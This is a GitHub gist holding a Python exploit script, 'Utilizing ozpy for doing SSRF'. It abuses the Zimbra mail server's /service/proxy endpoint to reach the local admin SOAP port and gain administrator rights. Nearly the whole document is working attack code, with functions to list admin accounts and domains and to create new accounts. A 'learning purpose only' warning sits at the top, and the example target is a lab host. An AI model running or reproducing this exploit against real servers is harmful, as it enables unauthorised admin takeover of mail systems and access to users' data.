Skip to content

Instantly share code, notes, and snippets.

@iomarmochtar
Created July 17, 2019 03:24
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save iomarmochtar/ac8e64c060ba0b4bd9a2dce4995edca9 to your computer and use it in GitHub Desktop.
Save iomarmochtar/ac8e64c060ba0b4bd9a2dce4995edca9 to your computer and use it in GitHub Desktop.
Utilizing ozpy for doing SSRF
__author__ = 'Imam Omar Mochtar (iomarmochtar@gmail.com)'
"""
WARNING : For learning purpose only !!!
This is example of utilizing ozpy for gaining zimbra admin rights through SSRF vulnerability
"""
import sys
import requests
import json
from ozpy.zmprov import Zmprov
try:
# python 3.X
from urllib.parse import urlsplit, urlencode
except ImportError:
# python 2.7
from urllib import urlencode
from urlparse import urlsplit
class DarkZmprov(Zmprov):
admin_token = None
def login_proxied(self):
soapname = 'Auth'
body = {
'name': [{
'_content': self.username
}],
'password': [{
'_content': self.password
}]
}
result = self.send_proxied(soapname, body, bypass=True)
self.admin_token = result['authToken'][0]['_content']
def send_proxied(self, soapname, body={}, bypass=False):
if not self.admin_token and not bypass:
self.login_proxied()
split = urlsplit(self.soapurl)
target = '{}://{}'.format(split.scheme, split.netloc)
proxy_url = '{}/service/proxy?{}'.format(
target,
urlencode({
'target': 'https://127.0.0.1:7071/service/admin/soap',
})
)
body['_jsns'] = 'urn:zimbraAdmin'
sendjson = {
'Header': {
'context': {
'authToken': [{'_content':self.admin_token} if self.admin_token else {}],
'nosession': {},
'userAgent': {
'name': 'zmsoap'
},
'_jsns': 'urn:zimbra'
}
},
'Body': {'%sRequest'%soapname:body},
'_jsns': 'urn:zimbraSoap'
}
kwargs = {
'verify': False,
'headers': {
'Host': 'domain.com:7071'
},
'cookies': {
'ZM_ADMIN_AUTH_TOKEN': self.token,
}
}
if self.timeout:
kwargs['timeout'] = self.timeout
response = requests.post(proxy_url, json.dumps(sendjson), **kwargs)
body = response.json()['Body']
if 'Fault' in body:
raise Exception('Fault: {}'.format(body))
return body['%sResponse'%soapname]
def version(self):
return self.send_proxied('GetVersionInfo')
def gaaa(self):
response = self.send_proxied('GetAllAdminAccounts')
return [ admin['name'] for admin in response['account'] ]
def ca(self, name, password):
response = self.send_proxied('CreateAccount', {
'name': name,
'password': password,
'a': []
})
return response
def gad(self):
response = self.send_proxied('GetAllDomains')
return [ domain['name'] for domain in response['domain'] ]
def gadl(self):
head = 'GetAllDistributionLists'
response = self.send_proxied(head)
return [ x['name'] for x in response['dl'] ]
def _login(self, username, password):
client_soap_body = {
'account': {
'by': 'adminName',
'_content': username
},
'password': {
'_content': password
}
}
return super(DarkZmprov, self)._login(
username, password, client_soap_body)
if __name__ == '__main__':
target = 'https://mail.myrnd.lab/service/soap'
zimbra_user = 'zimbra'
password = 'holdmyhand'
zmprov = DarkZmprov(
username=zimbra_user,
password=password,
soapurl=target,
default_urn='urn:zimbraAccount',
isdebug=True
)
print(zmprov.version())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment